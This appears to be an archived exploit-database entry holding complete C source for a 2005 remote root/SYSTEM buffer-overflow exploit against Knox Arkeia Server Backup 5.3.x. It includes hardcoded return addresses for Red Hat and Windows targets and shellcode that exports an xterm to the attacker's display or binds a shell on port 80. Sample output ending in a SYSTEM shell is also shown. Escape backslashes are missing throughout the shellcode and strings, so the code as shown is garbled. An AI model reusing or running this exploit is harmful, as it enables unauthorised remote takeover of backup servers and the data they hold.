[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Knox Arkeia Server Backup 5.3.x Remote Root Exploit
# Published : 2005-02-18
# Author : John Doe
# Previous Title : SHOUTcast 1.9.4 File Request Format String Remote Exploit (win)
# Next Title : Medal of Honor Spearhead Server Remote Buffer Overflow (Linux)


/*
 * Knox Arkiea Server Backup
 * arkiead local/remote root exploit
 * Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE 
 * Works up to current version 5.3.x 
 *
 * ---------------
 *
 * Linux x86:
 * ./arksink2 <arkeia_host> <target_type> <display>
 *
 * Exports an xterm to the box of your choosing.  Make sure to "xhost +" on
 * the box you're exporting to.
 * 
 * A stack overflow is in the processing of a type 77 request.  EIP is actually
 * overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we
 * have to write past EIP and insert a "safe" value.  Put this value behind your
 * NOP+sc return address so it doesn't mess with the sled.
 *
 * Since the buffer is so small, we initially send an invalid packet that ends
 * up on the heap a second before the overflow happens.  If it is a high traffic
 * Arkeia server the heap might be a bit volatile, so play around with putting
 * nops+sc after the overwritten pointer.  The heap method avoids non-exec stack
 * protection, however.
 *
 * Includes targets for RH8 and RH7.2
 * 
 * [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0
 * [*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit
 * [*] Attacking LINUX system
 * [*] Exporting xterm to 192.168.1.1:0 
 * [*] Connected to 192.168.1.2:617 NOP+shellcode socket
 * [*] Connected to 192.168.1.2:617 overflow socket
 * [*] Sending nops+shellcode
 * [*] Done, sleeping
 * [*] Done, check for xterm
 *
 *
 * ---------------
 * 
 * Windows x86:
 * ./prog <host> <target> <offset>
 *
 * Spawns a shell on port 80 of the remote host
 *
 * EIP is overwritten beginning with the 25th byte after the header.  Since Windows
 * is little endian and has the heap mapped to 0x00XXXXXX we can avoid having to
 * write an extra null past EIP.  Another advantage here is that we can put all our
 * nops and shellcode in the same packet, but after the NULL.  They will not be copied
 * onto the stack (and therefore not munge the pointer after it) but will remain
 * in memory as a raw packet.  Fire up ollydbg, search for your nops and voila.
 *
 * [user@host user]$ ./arksink2 192.168.1.2 3 0
 * [*] Knox Arkeia <= v5.3.x remote SYSTEM exploit
 * [*] Attacking Windows system
 * [*] Spawning shell on 192.168.1.2:80
 * [*] Connected to 192.168.1.2:617 overflow socket
 * [*] Sending overflow
 * [*] Attempting to get remote shell, try #0
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #1
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #2
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #3
 * [!] connect: Resolver Error 0 (no error)
 * [*] Attempting to get remote shell, try #4
 * [*] Success, enjoy
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:WINNTsystem32>whoami
 * whoami
 * SYSTEM
 *
 * C:WINNTsystem32>
 * 
 *
 * ---------------
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>

#define BUFLEN		10000		/* for readshell()		*/
#define DATA_LEN	1000		/* overflow packet data section	*/
#define HEAD_LEN 	8		/* overflow packet header	*/
#define NOP_LEN		20000		/* nop+shellcode packet 	*/
#define	ARK_PORT	617		/* port Arkeiad listens on	*/
#define SHELL_PORT	80		/* for the windows shellcode	*/
#define NOP 		0x90		/* Intel x86			*/
#define NUMTARGS	5		/* increase when adding targets */
#define LINUX		1		/* Linux target type		*/
#define WINDOWS		2		/* Windows target type		*/

struct {
	char 		*os;
	unsigned int	targret;
	unsigned int	targsafe;
	unsigned int	len;
	int		targtype;
} targets[] = {
	{ "Redhat 8.0", 0x80ecf90, 0x080e0144, 68, LINUX },
	{ "Redhat 7.2", 0x80eddc0, 0x080eb940, 68, LINUX },
	{ "Windows 2k SP2, SP3, SP4", 0x007d2144, 0xdeadbeef, 28, WINDOWS },
	{ "Windows 2003 EE", 0x007b2178, 0xdeadbeef, 28, WINDOWS },
	{ "Windows XP SP1", 0x007d20e7, 0xdeadbeef, 28, WINDOWS },
	NULL
};


// Linux shellcode exports xterm
const char shellcode[] =
"xebx4fx5ex31xd2x88x56x14x88x56x18x88x56x21xb2x2b"
"x31xc9xb1x09x80x3cx32x4bx74x05x42xe2xf7xebx2bx88"
"x34x32x31xd2x89xf3x89x76x36x8dx7ex15x89x7ex3ax8d"
"x7ex19x89x7ex3ex8dx7ex22x89x7ex42x89x56x46x8dx4e"
"x36x8dx56x46x31xc0xb0x0bxcdx80x31xdbx89xd8x40xcd"
"x80xe8xacxffxffxff"
"/usr/X11R6/bin/xterm8-ut8-display8";

// Windows shellcode binds shell to port 80
const char shellcode_win[] =
    "xebx19x5ex31xc9x81xe9x89xff"
    "xffxffx81x36x80xbfx32x94x81xeexfcxffxffxffxe2xf2"
    "xebx05xe8xe2xffxffxffx03x53x06x1fx74x57x75x95x80"
    "xbfxbbx92x7fx89x5ax1axcexb1xdex7cxe1xbex32x94x09"
    "xf9x3ax6bxb6xd7x9fx4dx85x71xdaxc6x81xbfx32x1dxc6"
    "xb3x5axf8xecxbfx32xfcxb3x8dx1cxf0xe8xc8x41xa6xdf"
    "xebxcdxc2x88x36x74x90x7fx89x5axe6x7ex0cx24x7cxad"
    "xbex32x94x09xf9x22x6bxb6xd7x4cx4cx62xccxdax8ax81"
    "xbfx32x1dxc6xabxcdxe2x84xd7xf9x79x7cx84xdax9ax81"
    "xbfx32x1dxc6xa7xcdxe2x84xd7xebx9dx75x12xdax6ax80"
    "xbfx32x1dxc6xa3xcdxe2x84xd7x96x8exf0x78xdax7ax80"
    "xbfx32x1dxc6x9fxcdxe2x84xd7x96x39xaex56xdax4ax80"
    "xbfx32x1dxc6x9bxcdxe2x84xd7xd7xddx06xf6xdax5ax80"
    "xbfx32x1dxc6x97xcdxe2x84xd7xd5xedx46xc6xdax2ax80"
    "xbfx32x1dxc6x93x01x6bx01x53xa2x95x80xbfx66xfcx81"
    "xbex32x94x7fxe9x2axc4xd0xefx62xd4xd0xffx62x6bxd6"
    "xa3xb9x4cxd7xe8x5ax96x80xbfx62x1fx4cxd5x24xc5xd3"
    "x40x64xb4xd7xecxcdxc2xa4xe8x63xc7x7fxe9x1ax1fx50"
    "xd7x57xecxe5xbfx5axf7xedxdbx1cx1dxe6x8fxb1x78xd4"
    "x32x0exb0xb3x7fx01x5dx03x7ex27x3fx62x42xf4xd0xa4"
    "xafx76x6axc4x9bx0fx1dxd4x9bx7ax1dxd4x9bx7ex1dxd4"
    "x9bx62x19xc4x9bx22xc0xd0xeex63xc5xeaxbex63xc5x7f"
    "xc9x02xc5x7fxe9x22x1fx4cxd5xcdx6bxb1x40x64x98x0b"
    "x77x65x6bxd6x93xcdxc2x94xeax64xf0x21x8fx32x94x80"
    "x3axf2xecx8cx34x72x98x0bxcfx2ex39x0bxd7x3ax7fx89"
    "x34x72xa0x0bx17x8ax94x80xbfxb9x51xdexe2xf0x90x80"
    "xecx67xc2xd7x34x5exb0x98x34x77xa8x0bxebx37xecx83"
    "x6axb9xdex98x34x68xb4x83x62xd1xa6xc9x34x06x1fx83"
    "x4ax01x6bx7cx8cxf2x38xbax7bx46x93x41x70x3fx97x78"
    "x54xc0xafxfcx9bx26xe1x61x34x68xb0x83x62x54x1fx8c"
    "xf4xb9xcex9cxbcxefx1fx84x34x31x51x6bxbdx01x54x0b"
    "x6ax6dxcaxddxe4xf0x90x80x2bxa2x04";


unsigned int resolve(char *hostname)
{
	u_long 	ip = 0;
	struct hostent	*hoste;

	if ((int)(ip = inet_addr(hostname)) == -1)
	{
		if ((hoste = gethostbyname(hostname)) == NULL)
		{
			herror("[!] gethostbyname");
			exit(-1);
		}
		memcpy(&ip, hoste->h_addr, hoste->h_length);
	}
	return(ip);
}


int isock(char *hostname, int portnum)
{
	struct sockaddr_in	sock_a;
	int			num, sock;
	unsigned int		ip;
	fd_set			input;

	sock_a.sin_family = AF_INET;
	sock_a.sin_port = htons(portnum);
	sock_a.sin_addr.s_addr = resolve(hostname);

	if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	{
		herror("[!] accept");
		return(-1);
	}
	
	if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
	{
		herror("[!] connect");
		return(-1);
	}
	
	return(sock);
	
}

int usage(char *progname)
{
	int 	i;

	fprintf(stderr, "Usage:n%s hostname target_num display  (attacking Linux)n", progname);
	fprintf(stderr, "%s hostname target_num offset   (attacking Windows)n", progname);
	for (i = 0; targets[i].os; i++)
		fprintf(stderr, "Target %d: %sn", i+1, targets[i].os);
	fprintf(stderr, "Example: %s 192.168.1.2 1 192.168.1.1:0n", progname);
	exit(-1);
}

int getshell(int sock)
{

	char	buf[BUFLEN];
	int	nread=0;

  	while(1) 
	{ 
    		fd_set input; 
    		FD_SET(0,&input); 
    		FD_SET(sock,&input); 
    		select(sock+1,&input,NULL,NULL,NULL); 
    	
		if(FD_ISSET(sock,&input)) 
		{ 
      			nread=read(sock,buf,BUFLEN); 
      			write(1,buf,nread); 
     		} 
     		if(FD_ISSET(0,&input)) 
     			write(sock,buf,read(0,buf,BUFLEN)); 
  	} 
}

int lin(char *host, char *export, unsigned int tnum)
{

	char 		head[] 		= "x00x4dx00x03x00x01xffxff";
	char 		data[DATA_LEN];
	char		sc_req[NOP_LEN*2];
	char		*sc;
	unsigned int	retaddr;
	unsigned int	safe;
	int		datalen		= 0;
	int		port		= ARK_PORT;
	int		sock_overflow, sock_nops;
	int 		i;
	int		nullmap = 0;

	sock_overflow = sock_nops = 0;

	retaddr = targets[tnum].targret;
	safe = targets[tnum].targsafe;
	datalen = targets[tnum].len;

	
	sock_nops = isock(host, port);

	if (sock_nops < 1)
		exit(-1);
	fprintf(stderr, "[*] Connected to %s:%d NOP+shellcode socketn", host, port);

	sock_overflow = isock(host, port);
	if (sock_overflow < 1)
			exit(-1);
	fprintf(stderr, "[*] Connected to %s:%d overflow socketn", host, port);

	// build data section of overflow packet
	memset(data, NOP, DATA_LEN);

	// copy in return address
	memcpy(data+datalen - 8, (char *)&retaddr, 4);
	// we overwrite a pointer that must be a valid address
	memcpy(data+datalen-4, (char *)&safe, 4); 

	datalen = ntohs(datalen);
	memcpy(head+6, (char *)&datalen, 2);

	// build invalid packet with nops+shellcode
	memset(sc_req, NOP, NOP_LEN+1);
	sc = (char *)malloc(strlen(shellcode) + strlen(export) + 2);
	sprintf(sc, "%s%s%s", shellcode, export, "K");
	if (strlen(sc) + NOP_LEN > NOP_LEN*2-1) 
	{
		fprintf(stderr, "[!] display name too longn");
		exit(-1);
	}

	memcpy(sc_req+NOP_LEN, sc, strlen(sc));

	// send invalid nop+shellcode packet
	fprintf(stderr, "[*] Sending nops+shellcoden");
	write(sock_nops, sc_req, NOP_LEN+strlen(sc)+1); 
	fprintf(stderr, "[*] Done, sleepingn");
	sleep(1);
	close(sock_nops);

	// send overflow, pointing EIP to above nops+sc
	write(sock_overflow, head, HEAD_LEN);	// 8 byte header
	datalen = ntohs(datalen);
	fprintf(stderr, "[*] Sending overflown");
	write(sock_overflow, data, datalen);	// small overflow packet
	fprintf(stderr, "[*] Done, check for xtermn");
	close(sock_overflow);

}

void windows (char *host, int tnum, int offset)
{
	char 		head[] 		= "x00x4dx00x03x00x01xffxff";
	char 		data[DATA_LEN];
	char		sc_req[NOP_LEN*2];
	char		*sc;
	char		*export;
	unsigned int	ret;
	unsigned int	safeaddr;
	int		overflow_len;
	int		datasiz		= DATA_LEN;
	int		datalen		= 0;
	int		port		= ARK_PORT;
	int		sock_overflow, sock_nops, sock_shell;
	int 		i;


	datalen = targets[tnum].len;
	ret = targets[tnum].targret + offset;
	sock_overflow = isock(host, port);
	if (sock_overflow < 1)
			exit(-1);
	fprintf(stderr, "[*] Connected to %s:%d overflow socketn", host, port);

	// build data section of overflow packet
	memset(data, NOP, DATA_LEN);
	memcpy(data+datalen - 4, (char *)&ret, 4);
	memcpy(data+DATA_LEN-strlen(shellcode_win)-1, shellcode_win, strlen(shellcode_win));
	
	// put size into header
	datasiz = ntohs(datasiz);
	memcpy(head+6, (char *)&datasiz, 2);

	fprintf(stderr, "[*] Sending overflown");
	write(sock_overflow, head, HEAD_LEN);		// 8 byte header
	write(sock_overflow, data, DATA_LEN);		// large data section
	close(sock_overflow);

	for (i = 0; i < 20; i++)
	{
		sleep(1);	
		fprintf(stderr, "[*] Attempting to get remote shell, try #%dn", i);
		// connect to shell
		sock_shell = isock(host, SHELL_PORT);
		if (sock_shell > 0)
		{
			fprintf(stderr, "[*] Success, enjoyn");
			getshell(sock_shell);
		}
	}

	fprintf(stderr, "[!] Exploit failed or cannot connect to port 80n");
	exit(-1);
}

int main( int argc, char **argv)
{

	/* first 2 bytes are a type 77 request */
	/* last two bytes length */
	char		*host;
	char		*export;
	unsigned int	tnum;
	int		datalen		= 0;
	int		offset		= 0;

	
	if (argc == 4)
	{
		host = argv[1];
		tnum = atoi(argv[2]);

		if (targets[tnum].targtype == LINUX)
			export = argv[3];
		else
			offset=atoi(argv[3]);

		if (tnum > NUMTARGS || tnum == 0)
		{
			fprintf(stderr, "[!] Invalid targetn");
			usage(argv[0]);
		}
	}
	else
	{
		usage(argv[0]);
	}
	
	tnum--;

	fprintf(stderr, "[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploitn");
	fprintf(stderr, "[*] Attacking %s systemn", targets[tnum].os);

	if (targets[tnum].targtype == LINUX )
	{
		fprintf(stderr, "[*] Exporting xterm to %sn", export);
		lin(host, export, tnum);
	}
	else if (targets[tnum].targtype == WINDOWS)
	{
		fprintf(stderr, "[*] Spawning shell on %s:%dn", host, SHELL_PORT);
		windows(host, tnum, offset);
	}
	else
	{
		fprintf(stderr, "[!] Unknown target type: %dn", targets[tnum].targtype);
		exit(-1);
	}

}

// www.Syue.com [2005-02-18]